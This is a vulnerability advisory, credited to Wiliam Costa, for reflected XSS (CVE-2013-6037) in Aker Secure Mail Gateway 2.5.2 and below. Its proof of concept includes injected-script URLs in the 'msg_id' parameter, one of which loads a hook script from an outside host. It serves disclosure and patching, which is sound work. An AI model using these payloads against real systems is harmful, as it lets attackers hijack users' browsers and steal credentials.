AKER Secure Mail Gateway versions 2.5.2 and below suffer from multiple reflective cross site scripting vulnerabilities.
ab5924cb2e8e920bf0c586e1b34dba02ede340dc74de1607cbabdf1fa1986191
XSS in url for access of Confirmation Required in box for antispam from
company AKER (CVE-2013-6037)
I. VULNERABILITY
-------------------------
Reflected XSS vulnerabilities in AKER SECURE MAIL GATEWAY <= v2.5.2
II. BACKGROUND
-------------------------
The Aker Secure Mail Gateway is a complete platform security e-mail
III. DESCRIPTION
-------------------------
Has been detected a reflected XSS vulnerability in Aker Secure Mail Gateway
<=2.5.2 , that allows the execution of arbitrary HTML/script code to be
executed in the context of the victim user's browser.
The code injection is done through the parameter "msg_id" and "content" in
the page index.php.
IV. PROOF OF CONCEPT
-------------------------
The application does not validate the double encoding of the "msg_id"
parameter correctly. Malicious Request ("msg_id")
https://vulnerablesite.com/webgui/cf/index.php?msg_id=89f52f83bdhhygaabdbayudefcff654abb2f097777/><script>alert(String(/XSS/).substr(1,6)
); </script>
Vulnerable:
https://vulnerablesite.com/webgui/cf/index.php?msg_id=89f52f83bdhhygaabdbayudefcff654abb2f097777/><script
src=https://10.0.1.142:5005/xook.js></script>
Vulnerable:
https://vulnerablesite.com/webgui/cf/index.php?msg_id=89f52f83bdhhygaabdbayudefcff654abb2f097777/><iframe
src=https://www.google.com> </iframe>
V. BUSINESS IMPACT
-------------------------
An attacker can execute arbitrary HTML or script code in a targeted
user's browser, this can leverage to steal sensitive information as user
credentials, personal data, etc.
VI. SYSTEMS AFFECTED
-------------------------
Aker Secure Mail Gateway <= v2.5.2
VII. SOLUTION
-------------------------
https://download.aker.com.br/prod/current/atualizacoes/aker-secure-mail-gateway-2.5/patch-2/akersecuremailgateway-2.5-pt-box-patch-002-hotfix-023-0002.akp
References
https://www.kb.cert.org/vuls/id/687278
https://www.aker.com.br/
https://www.aker.com.br/produtos/aker-secure-mail-gateway
https://www.aker.com.br/atualizacoes-asmg?field_tipo_value=All
By Wiliam Costa